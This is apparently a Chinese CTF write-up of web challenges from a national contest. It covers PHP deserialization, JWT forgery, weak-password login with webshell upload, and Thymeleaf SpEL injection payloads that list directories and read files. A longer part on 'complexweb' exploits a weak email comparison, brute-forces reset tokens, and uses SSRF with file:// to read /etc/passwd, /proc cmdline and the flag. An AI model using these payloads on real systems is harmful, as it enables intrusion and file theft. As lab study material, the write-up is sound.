国赛web部分题解

hellogate

图片里藏源码,打php反序列化任意文件读,再拿flag即可

redjs

这里直接打React2Shell,没什么好说的

dedecms

简述思路,反正很唐
就是随便注册进去发现除了admin还有一个用户,现在知道用户名,再弱口令登录进这个账户,密码是dede
然后把自己的账户提升权限,再去传马就行了

ezJAVA

这里找到注入点就没有往下做了,感觉没学体系的东西打表达式注入比较难受

1
<p th:text="{7*7}"></p>
1
2
3
4
5
T()和new都会被替换,遂尝试T加空格再到(可以反射,题目删除了命令,可以用原生类去读文件
${T (java.util.Arrays).toString(T (java.io.File).listRoots()[0].list())}
列目录看到flag,再去读,有两种办法
${T (java.nio.file.Files).readAllLines(T (java.nio.file.Paths).get('/'.concat(T (java.io.File).listRoots()[0].list()[19]))).get(0)}//利用索引
或者直接concat也行,反正知道了flag路径,注意concat('f').concat('l'),concat('a').concat('g').xxxxxx

Deplacted

这里看了源码,一眼注意到jwt的可能泄露公钥去打jwt伪造,但是题目可恶的sql接口,一方面不太熟悉sql,也不太懂这样严格的WAF下是否还可以注入(现在知道不行了)
这里是原题,打工具拿公钥再去伪造,可以任意读了之后再拿flag
工具:rsasign2n爆破session拿到publickey,之后跟着工具打吧

hjppx

这里ssrf探测内网,发现8080端口有个web服务,伴随的还有mysql&redis
也许是打CVE或者0day吧,不懂

complexweb

前言

难崩,赛后出的,和web队友合作出的一道题

思路

首先注意三个接口

1
2
3
login:泄露账户是admin,密码未知,尝试弱口令,无果,无sql注入
reset:需要email
download:需要是admin权限

这里就得注意了

没注意这道题就G了
这里可以得到admin的email

拿到email自然去reset了(这里简单测试发现好像只能用admin的email)

然后去/getPrivateInfo接口传入email会发现权限不足,这里就卡了很久
发现reset处存在弱比较,可以末尾添数字,再去email可以得到如下token接口
如下

注意这个token的组成,后半部分就是简单的base64编码,前半部分是一个未知的加密,尝试跟随接口/resetpassword,但是
会显示不是admin
上述就是前期的一个基本的思路了,我个人受困于黑盒场景,一直想找CVE打请求走私,web队友敏锐发现了两处很关键的地方,这道题就很清晰了

  • 弱比较
  • 时间戳加密
    我们思考,既然我们要/resetpassword?token=xxxxx,但是直接reset->email无法获得admin-token,还有其他办法吗?
    首先我们思考如果加密逻辑可知,是否可以通过已有token不经过email直接拿到admin的token?
    如果你没有尝试弱比较,就无法更近一步了
    实际发现,reset接口处是可以接受saferman@23333.private.reallybesthack.com1因为它的弱比较,这里剧透一下
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    @app.route('/reset/', methods=['GET', 'POST'])
    def reset():
    if request.method == 'POST':
    email = request.json['email']
    result = {}
    if (isinstance(email,str) and email.startswith(admin_email) ) or \
    (isinstance(email,list) and len(email)>0 and email[0] == admin_email ) or\
    (isinstance(email,tuple) and len(email)>0 and email[0] == admin_email):
    # send email
    # session['admintoken'] = xxxx
    # /resetpassword?token=
    if isinstance(email,str):
    email = email.split(";")
    # email = [email]
    email2token = {}
    for each_email in email:
    email2token[each_email] = genToken(each_email)
    t = {}
    for k_email,v_token in email2token.items():
    if k_email == admin_email:
    session['admintoken'] = v_token
    else:
    t[k_email] = "/resetpassword?token=" + v_token
    result['code'] = "OK"
    result['message'] = "The reset link is sent to emails successfully!" + \
    "If you don't receive the email, please see your reset link via /getPrivateInfo/?email=[your_email]"
    session['linkdict'] = json.dumps(t)
    # print(session['linkdict'])
    else:
    result['code'] = "bad"
    result['message'] = "sorry, not admin's email"
    return jsonify(result)
    if request.method=="GET":
    return render_template('reset.html', inline_css=INLINE_CSS)

嗯,然后呢?我们短时间内触发两个,看看email生成的token有什么不同
这里可以写个python脚本,这里不演示了,很明确的就能看到,就改变末尾的相邻数字,其实,最后生成的token的差距只是最后的3位字符,理论上,我们可以同时reset两个email

1
2
saferman@23333.private.reallybesthack.com
saferman@23333.private.reallybesthack.com8=>ycdhwoaj61smbkgu234-c2FmZXJtYW5AMjMzMzMucHJpdmF0ZS5yZWFsbHliZXN0aGFjay5jb204

然后根据ycdhwoaj61smbkgu234末尾三位打爆破,再构造正确的token发至/resetpassword/

耐心等待即可拿到admin的密码McQKiL7FgtozW7TA0pymfeijmTkkS81G,这里爆破的时候其实发现很快,也有这层原因在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if __name__ == "__main__":
import sys
import os

sys.path.append('/app')

try:
os.setgid(1001) # 先设置组
os.setuid(1001) # 再设置用户
print("Dropped privileges to uid=1001 gid=1001")
except PermissionError:
print("Warning: Cannot drop privileges (not running as root)")

from waitress import serve

print("Starting server on http://0.0.0.0:8000 with 10 threads...")
serve(
app,
host='0.0.0.0',
port=8000,
threads=10, # 直接对应 threads=10
# connection_limit=1000, # 可选:提高连接数
# asyncore_use_poll=True, # 可选:性能优化
)

拿到密码后登录,即可以使用download接口,看来是个SSRF,就打file:///etc/passwd
en,开始找源码,/app/app.py没有,摸不着头脑

1
2
/proc/self/cmdline #/app/main.py
/proc/1/cmdline #这里是一个悲剧

拿到源码之后也没什么其他讯息了,就这个接口可以打SSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route('/download/', methods=['POST'])
def download():
# can visit this api directly
if not session.get('username', None):
return redirect(url_for('login'))
if request.method == 'POST':
url = request.form["url"]
try:
# banned_suffix = re.compile('.*(\.py)')
# if re.match(banned_suffix, url):
# return "U are not allowed to read .py file"
# rex_ip = re.compile('.*((127\\.0\\.0\\.1)|(0177.0.0.1)|(0x7F000001)|(2130706433)|(localhost)|(10\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})|(172\\.((1[6-9])|(2\\d)|(3[01]))\\.\\d{1,3}\\.\\d{1,3})|(192\\.168\\.\\d{1,3}\\.\\d{1,3}))')
# if re.match(rex_ip, url):
# return "Banned, because a internal IP address is detected!"
res = urllib.request.urlopen(url)
return res.read().decode('utf-8')
except Exception as e:

这里gopher是用不了的,就好像只能file读了,内网就一个redis,也干打不了
然后就是漫长的找RCE,认为需要提权拿/root下的flag,因此错失解题机会了

上述,其实关键在于我先前读取的/proc/1/cmdline

1
/etc/passwd/etc/start.sh

我没有读取/etc/start.sh,因此没看到flag的文件名,苦也

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/bash

FLAG_PATH=/sdgfsdfyxzfvgjnrtuwerewyrtu_flag
FLAG_MODE=M_ECHO
if [ ${ICQ_FLAG} ];then
case $FLAG_MODE in
"M_ECHO")
echo -n ${ICQ_FLAG} > ${FLAG_PATH}
FILE_MODE=644
chmod ${FILE_MODE} ${FLAG_PATH}
;;
"M_SED")
#sed -i "s/flag{x*}/${ICQ_FLAG}/" ${FLAG_PATH}
sed -i -r "s/flag\{[^\}]*\}/${ICQ_FLAG}/" ${FLAG_PATH}
;;
"M_SQL")
# sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
# mysql -uroot -proot < ${FLAG_PATH}
;;
*)
;;
esac
echo [+] ICQ_FLAG OK
unset ICQ_FLAG
else
echo [!] no ICQ_FLAG
fi

# del eci env
rm -rf /etc/profile.d/pouchenv.sh
rm -rf /etc/instanceInfo

redis-server /etc/redis/redis.conf
# tail -f /dev/null
# uwsgi --ini /app/app.ini
python /app/main.py
1
file:///sdgfsdfyxzfvgjnrtuwerewyrtu_flag

整道题最关键的还是时间戳去爆破那一块,得具备想象力了

结语

  • 整个比赛打的,坐牢啥也没干,看到React2shell两眼冒光火速拿下三血,没爆零()